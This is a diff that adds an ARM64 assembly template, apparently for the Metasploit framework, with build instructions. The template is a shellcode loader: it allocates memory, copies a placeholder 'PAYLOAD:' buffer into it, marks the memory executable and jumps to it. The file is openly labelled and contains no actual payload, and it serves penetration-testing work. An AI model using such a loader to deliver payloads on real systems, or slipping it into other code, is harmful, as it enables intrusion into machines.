|
| 1 | +; |
| 2 | +; A minimal AArch64 PE template for Metasploit shellcode |
| 3 | +; Author: Alexander 'xaitax' Hagenah |
| 4 | +; |
| 5 | +; --- Compilation (Microsoft Visual Studio Build Tools) --- |
| 6 | +; 1. Assemble: |
| 7 | +; armasm64.exe -o template_aarch64_windows.obj template_aarch64_windows.asm |
| 8 | +; |
| 9 | +; 2. Link: |
| 10 | +; LINK.exe template_aarch64_windows.obj /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe |
| 11 | +; |
| 12 | +; |
| 13 | +; --- Cross Compilation (Microsoft Visual Studio Build Tools) --- |
| 14 | +; 1. Locate Cross Compiler Tools and Libraries |
| 15 | +; In this case: C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\ |
| 16 | +; And: C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64 |
| 17 | +; 2. Assemble: |
| 18 | +; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\armasm64.exe" -o template_aarch64_windows.obj template_aarch64_windows.asm |
| 19 | +; 3. Link: |
| 20 | +; "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.44.35207\bin\Hostx64\arm64\link.exe" template_aarch64_windows.obj /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.26100.0\um\arm64" /MACHINE:ARM64 /SUBSYSTEM:WINDOWS /ENTRY:main /NODEFAULTLIB kernel32.lib /OUT:template_aarch64_windows.exe |
| 21 | + AREA |.text|, CODE, READONLY |
| 22 | + |
| 23 | +; Import the Win32 functions we need from kernel32.dll |
| 24 | + IMPORT VirtualAlloc |
| 25 | + IMPORT VirtualProtect |
| 26 | + IMPORT ExitProcess |
| 27 | + |
| 28 | +; Define constants for Win32 API calls |
| 29 | +SCSIZE EQU 4096 |
| 30 | +MEM_COMMIT EQU 0x1000 |
| 31 | +PAGE_READWRITE EQU 0x04 |
| 32 | +PAGE_EXECUTE EQU 0x10 |
| 33 | + |
| 34 | +; Export the entry point of our program |
| 35 | + EXPORT main |
| 36 | + |
| 37 | +main |
| 38 | + ; Allocate space on the stack for the oldProtection variable (DWORD) |
| 39 | + sub sp, sp, #16 |
| 40 | + |
| 41 | + ; --- 1. Allocate executable memory --- |
| 42 | + ; hfRet = VirtualAlloc(NULL, SCSIZE, MEM_COMMIT, PAGE_READWRITE); |
| 43 | + mov x0, #0 |
| 44 | + mov x1, #SCSIZE |
| 45 | + mov x2, #MEM_COMMIT |
| 46 | + mov x3, #PAGE_READWRITE |
| 47 | + ldr x8, =VirtualAlloc |
| 48 | + blr x8 |
| 49 | + |
| 50 | + ; Check if VirtualAlloc failed. If so, exit. |
| 51 | + cbz x0, exit_fail |
| 52 | + |
| 53 | + ; Save the pointer to our new executable buffer in a non-volatile register |
| 54 | + mov x19, x0 |
| 55 | + |
| 56 | + ; --- 2. Copy the payload into the new buffer --- |
| 57 | + ; This is a simple memcpy(dest, src, size) |
| 58 | + mov x0, x19 ; x0 = dest = our new buffer |
| 59 | + ldr x1, =payload_buffer ; x1 = src = the payload in our .data section |
| 60 | + mov x2, #SCSIZE ; x2 = count |
| 61 | +copy_loop |
| 62 | + ldrb w3, [x1], #1 ; Load byte from src, increment src pointer |
| 63 | + strb w3, [x0], #1 ; Store byte to dest, increment dest pointer |
| 64 | + subs x2, x2, #1 ; Decrement counter |
| 65 | + b.ne copy_loop ; Loop if not zero |
| 66 | + |
| 67 | + ; --- 3. Change memory permissions to executable --- |
| 68 | + ; VirtualProtect(hfRet, SCSIZE, PAGE_EXECUTE, &dwOldProtect); |
| 69 | + mov x0, x19 ; x0 = buffer address |
| 70 | + mov x1, #SCSIZE ; x1 = size |
| 71 | + mov x2, #PAGE_EXECUTE ; x2 = new protection |
| 72 | + mov x3, sp ; x3 = pointer to oldProtection on the stack |
| 73 | + ldr x8, =VirtualProtect |
| 74 | + blr x8 |
| 75 | + |
| 76 | + ; --- 4. Execute the payload --- |
| 77 | + ; Jump to the shellcode we just copied and protected. |
| 78 | + blr x19 |
| 79 | + |
| 80 | +exit_success |
| 81 | + ; Shellcode returned, or we are done. Exit cleanly. |
| 82 | + mov x0, #0 ; Exit code 0 |
| 83 | + ldr x8, =ExitProcess |
| 84 | + blr x8 |
| 85 | + |
| 86 | +exit_fail |
| 87 | + ; Something went wrong. Exit with code 1. |
| 88 | + mov x0, #1 |
| 89 | + ldr x8, =ExitProcess |
| 90 | + blr x8 |
| 91 | + |
| 92 | +; The data section where the payload will be located. |
| 93 | +; The 'PAYLOAD:' tag must be at the very beginning of this buffer. |
| 94 | +payload_buffer |
| 95 | + DCB "PAYLOAD:" |
| 96 | + SPACE SCSIZE - 8 ; Reserve the rest of the 4096 bytes |
| 97 | + |
| 98 | + END |
0 commit comments